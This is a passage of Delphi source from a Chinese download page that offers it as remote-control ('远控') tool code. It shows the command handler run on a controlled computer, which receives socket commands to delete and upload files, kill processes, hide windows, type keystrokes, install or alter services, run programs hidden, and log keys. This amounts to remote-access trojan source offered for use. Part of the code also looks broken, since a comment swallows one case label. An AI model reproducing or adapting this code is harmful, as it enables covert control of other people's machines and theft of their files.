⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 filelistandsysinfounit.pas

📁 delphi源代码。iocp远控比较完整的代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
      Break;
    end; 
    //再接收真正的数据
    if RecvAllData(FileSysRecvCMDSocket, @FileSysCMDDataBuffer[0],
      myDataHeaderInfo.CompressedDataSize - sizeof(myInterChangeHeader),
      ActuallySentSizePerPakage, FileSysSendNotifyEvent) = SOCKET_ERROR then
    begin
      Break;
    end; 
    //解析命令
    case myInterChangeHeader.Order of
      //文件信息
      CMDDeleteFile: //DelteFile
      begin
        DesStr := FileSysCMDDataBuffer; 
        DelDirectory(DesStr);
      end;
      CMDMakeDir: //MakeDir
      begin
        DesStr := PChar(@FileSysCMDDataBuffer[0]);
        CreateDirectory(PChar(DesStr), nil);
      end;
      CMDPeastFile: //PeastFile
      begin
        //得到原文件路径
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
        SrcStr := tmpBuffer;
        //得到目标文件路径
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
        DesStr := tmpBuffer;
        if myInterChangeHeader.OrderExtend = CMDCopyFile then
          CopyDirectory(SrcStr, DesStr, True)//实现文件拷贝
        else
          CopyDirectory(SrcStr, DesStr, False); //实现文件剪切
      end;
      CMDRenameFile: //RenameFile     
      begin
        //得到原文件路径
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
        SrcStr := tmpBuffer;
        //得到目标文件路径
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
        DesStr := tmpBuffer;
        RenDirectory(SrcStr, DesStr);
      end;
      CMDSendFileList: //SendFileList
      begin
        SrcStr := PChar(@FileSysCMDDataBuffer[0]);
        //得到文件夹下的文件列表或磁盘信息
        if SrcStr = '' then
          GetListAndSend(FileSysRecvCMDSocket, SrcStr, False, FileListTypeDriver)
        else
          GetListAndSend(FileSysRecvCMDSocket, SrcStr, False, FileListTypeDir);
      end;
      CMDGetSystemInfo:
      begin
        SendClientSystemInfo(FileSysRecvCMDSocket);
      end;
      //进程信息
      CMDGetProcessList:
      begin
        GetProcessListAndSend(FileSysRecvCMDSocket);
      end;
      CMDKillProcess:
      begin
        //获得调试权限
        if EnableDebugPrivilege then
        begin
          //得到进程句柄
          ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, True, myInterChangeHeader.OrderExtend);
          if ProcessHandle <> 0 then
          begin
            TerminateProcess(ProcessHandle, 0);
            CloseHandle(ProcessHandle);
          end;
        end;
      end;
      //列出窗口
      CMDGetWindowList:
      begin
        SendAllWindowList(FileSysRecvCMDSocket);
      end;
      CMDKillWindow:
      begin
        PostMessage(myInterChangeHeader.OrderExtend, WM_SYSCOMMAND, MakeLong(SC_CLOSE, 0), 0);
      end;
      CMDBringWindowFront:
      begin
        BringWindowToTop(myInterChangeHeader.OrderExtend);
      end;
      CMDHideWindow:
      begin
        ShowWindow(myInterChangeHeader.OrderExtend, SW_HIDE);
      end;
      CMDShowWindow:
      begin
        ShowWindow(myInterChangeHeader.OrderExtend, SW_SHOW);
      end;
      CMDMaxWindow:
      begin
        ShowWindow(myInterChangeHeader.OrderExtend, SW_MAXIMIZE);
      end;
      CMDMinWindow:
      begin
        ShowWindow(myInterChangeHeader.OrderExtend, SW_MINIMIZE);
      end;
      CMDResoreWindow:
      begin
        ShowWindow(myInterChangeHeader.OrderExtend, SW_RESTORE);
      end;
      CMDSendChar:
      begin
        SrcStr := PChar(@FileSysCMDDataBuffer[0]);
        if SrcStr <> '' then
        begin
          SpeakToWindow(SrcStr, myInterChangeHeader.OrderExtend);
          if myInterChangeHeader.OrderExtend = CMDSendCharEnter then
          begin
            SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 0);
            Sleep(100);
            SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 1);
          end
          else if myInterChangeHeader.OrderExtend = CMDSendCharEnterCtrl then
          begin
            SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 0);
            SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_RETURN, 0);
            Sleep(100);
            SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 1);
            SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_RETURN, 1);
          end;
        end;
      end;
      //服务信息
      CMDGetServcieList:
      begin
        SrcStr := '';//重要,先初始化,否则出错
        myCSM.EnumWin32Service(SrcStr);
        //得到文件夹下的文件列表或磁盘信息
        if SrcStr <> '' then
          GetListAndSend(FileSysRecvCMDSocket, SrcStr, False, ServiceListType);
      end;
      CMDStartService:
      begin
        myCSM.StartWin32Service(myInterChangeHeader.OrderExtend);
      end;
      CMDStopService:
      begin
        myCSM.StopWin32Service(myInterChangeHeader.OrderExtend);
      end;
      CMDPauseService:
      begin
        myCSM.PauseWin32Service(myInterChangeHeader.OrderExtend);
      end;
      CMDContinueService:
      begin
        myCSM.ContinueWin32Service(myInterChangeHeader.OrderExtend);
      end;
      CMDSetAutoStartType:
      begin
        myCSM.SetAutoStartType(myInterChangeHeader.OrderExtend);
      end;
      CMDSetManualStartType:
      begin
        myCSM.SetManualStartType(myInterChangeHeader.OrderExtend);
      end;
      CMDSetDisableStartType:
      begin
        myCSM.SetDisableStartType(myInterChangeHeader.OrderExtend);
      end;
      CMDAddWin32Service:
      begin 
        //得到服务名
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
        SrcStr := tmpBuffer;
        //得到服务显示名
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
        DesStr := tmpBuffer;
        //得到执行的安装程序路径
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource +
          myInterChangeHeader.ExdDest], myInterChangeHeader.OrderExtend);
        ExampleStr := tmpBuffer;
        //必须带有双引号括住,后面可以跟参数,例如"d:\\myshare\\myservice.exe arg1 arg2"
        myCSM.AddWin32Service(PChar(SrcStr), PChar(DesStr), PChar(ExampleStr));
      end;
      CMDDeleteWin32Service:
      begin
        myCSM.DeleteWin32Service(myInterChangeHeader.OrderExtend);
      end;
      //键盘记录信息
      CMDGetKeyRecord:
      begin

      end;
      //运行方式      CMDRunNormal:
      begin
        SrcStr := PChar(@FileSysCMDDataBuffer[0]);
        //正常运行
        ShellExecute(0, 'open', PChar(SrcStr), nil, nil, SW_SHOWNORMAL);
      end;
      CMDRunHide:
      begin
        SrcStr := PChar(@FileSysCMDDataBuffer[0]);
        //隐藏运行
        ShellExecute(0, 'open', PChar(SrcStr), nil, nil, SW_HIDE);
      end;
      CMDPMRunWithParam:
      begin
        //得到原文件路径
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
        SrcStr := tmpBuffer;
        //得到目标文件路径
        ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
        CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
        DesStr := tmpBuffer;
        RenDirectory(SrcStr, DesStr);
        //带有参数的运行
        ShellExecute(0, 'open', PChar(SrcStr), PChar(DesStr), nil, SW_HIDE);
      end;
      //文件操作
      RecvFile:
      begin
        SrcStr := PChar(@FileSysCMDDataBuffer[0]);
        //得到文件夹下的文件列表或磁盘信息
        if SrcStr = '' then
          Exit
        else
          //接受文件
          RecvMyFile(FileSysRecvCMDSocket, SrcStr, @FileSysCMDDataBuffer[0],
            myInterChangeHeader.OrderExtend, myInterChangeHeader.ExdSource, FileSysRecvNotifyEvent);
      end;
      SendFile:
      begin
        SrcStr := PChar(@FileSysCMDDataBuffer[0]);
        //得到文件夹下的文件列表或磁盘信息
        if not FileExists(SrcStr) then
          Exit
        else
          //发送文件                               //断点继传点
          SendMyFile(FileSysRecvCMDSocket, SrcStr, myInterChangeHeader.ExdSource, FileSysRecvNotifyEvent); 
      end;
    end;
    ZeroMemory(@FileSysCMDDataBuffer[0], sizeof(FileSysCMDDataBuffer));
  end;
end;

//发送字符串给指定窗口 
procedure TFileListAndSysInfo.SpeakToWindow(Words : string; const Xy2Handle : HWND);
var
  i : integer;
  myWord : word;
  tmpInt : integer;
begin
  tmpInt := Length(Words);
  i := 1;
  repeat
    if IsDBCSLeadByte(Byte(Words[i])) = True then //是否是中文前半部分
    begin
      myWord := Word(Words[i])
        shl 8 + Word(Words[i + 1]);
      Inc(i, 2)
    end
    else
    begin
      myWord := Word(Words[i]);
      Inc(i, 1)
    end;                      
    SendMessage(Xy2Handle, WM_IME_CHAR, myWord, 0);
  until i > tmpInt;
end;

(*---------------------------------文件收发部分-------------------------------*)

//文件的接收
function TFileListAndSysInfo.RecvMyFile(const Socket : TSocket;
  const FileName : string; PakageDataRecvBuffer : Pointer;
  const PakageLengthToRecv : LongInt; const StartWritePositon : LongInt = 0;
  const RecvNotifyEvent : THandle = 0) : integer;
var
  ErrorCode : LongInt;
  TotalRecv : LongInt;
  RecvBytePerRecv, BytesLeft : LongInt;
  NumberOfByteWritten : DWORD;
  hFile : THandle;
begin
  TotalRecv := 0;
  BytesLeft := PakageLengthToRecv;
  RecvBytePerRecv := 0;
  if not FileExists(FileName) then
    hFile := CreateFile(PChar(FileName), GENERIC_WRITE, FILE_SHARE_WRITE,
      nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
  else
    hFile := CreateFile(PChar(FileName), GENERIC_WRITE, FILE_SHARE_WRITE,
      nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //如果文件打开或者创建错误,则退出
  if hFile = INVALID_HANDLE_VALUE then
  begin
    Result := SOCKET_ERROR; //文件操作失败
    Closehandle(hFile);
    Exit;
  end;
  SetFilePointer(hFile, StartWritePositon, nil, FILE_BEGIN);
  //循环接收文件
  while (TotalRecv < PakageLengthToRecv) do
  begin
    RecvBytePerRecv := Recv(Socket, PakageDataRecvBuffer^, BytesLeft, 0);
    if RecvBytePerRecv = SOCKET_ERROR then
    begin
      ErrorCode := WSAGetLastError;
      if ErrorCode = WSAEWOULDBLOCK then
      begin
        if RecvNotifyEvent = 0 then
          Sleep(1)
        else
        WaitForSingleObject(RecvNotifyEvent, 1);
        Continue;
      end
      else
        Break;
    end;
    //写入文件
    WriteFile(hFile, PakageDataRecvBuffer, RecvBytePerRecv, NumberOfByteWritten, nil);
    //下移文件指针
    SetFilePointer(hFile, RecvBytePerRecv, nil, FILE_CURRENT);
    TotalRecv := TotalRecv + RecvBytePerRecv;
    BytesLeft := BytesLeft - RecvBytePerRecv;
  end;
  Result := Min(RecvBytePerRecv, 0);
  Closehandle(hFile);
end;

//文件的发送
function TFileListAndSysInfo.SendMyFile(const Socket : TSocket; const FileName : string;
  const StartWritePositon : LongInt = 0; const SendNotifyEvent : THandle = 0) : integer;
var
  NumberOfByteSend : LongInt;
  ErrorCode : Byte;
begin
  Result := 0;
  ErrorCode := $FF;
  hFile := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ,
    nil, OPEN_ALWAYS, 0, 0);
  //如果文件打开错误,则退出
  if hFile = INVALID_HANDLE_VALUE then
  begin
    OutputDebugString(PChar('openfile error ' + IntToStr(GetLastError)));
    Result := SOCKET_ERROR; //文件操作失败 
    SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, FileOpenEror);
    Closehandle(hFile);
    hFile := 0;
    Exit;
  end;
  NumberOfByteSend := GetFileSize(hFile, nil);
  //如果继传点,大于或等于文件大小,就直接退出
  if NumberOfByteSend <= StartWritePositon then
  begin
    SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, NothingNeedTransmit);
    Closehandle(hFile);
    hFile := 0;
    Exit;
  end;
  hFileMapping := CreateFileMapping(hFile, nil, PAGE_READONLY, 0, NumberOfByteSend, nil);
  if hFileMapping = 0 then
  begin
    SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, CreateMapViewError);
    Result := SOCKET_ERROR; //操作失败
    Closehandle(hFile);
    hFile := 0;
    Exit;
  end;
  //关闭文件句柄
  Closehandle(hFile);
  hFile := 0;
  NumberOfByteSend := NumberOfByteSend - StartWritePositon;
  MapPointer := MapViewOfFile(hFileMapping, FILE_MAP_READ, 0,
    StartWritePositon, NumberOfByteSend);
  if MapPointer = nil then
  begin
    SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, MapViewError);
    Result := SOCKET_ERROR; //操作失败
    Exit;
  end;
  SendAllTheData(Socket, MapPointer, NumberOfByteSend, 0, SendNotifyEvent, TransmitFileData);
  UnmapViewOfFile(MapPointer);
  MapPointer := nil;
  CloseHandle(hFileMapping);
  hFileMapping := 0;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -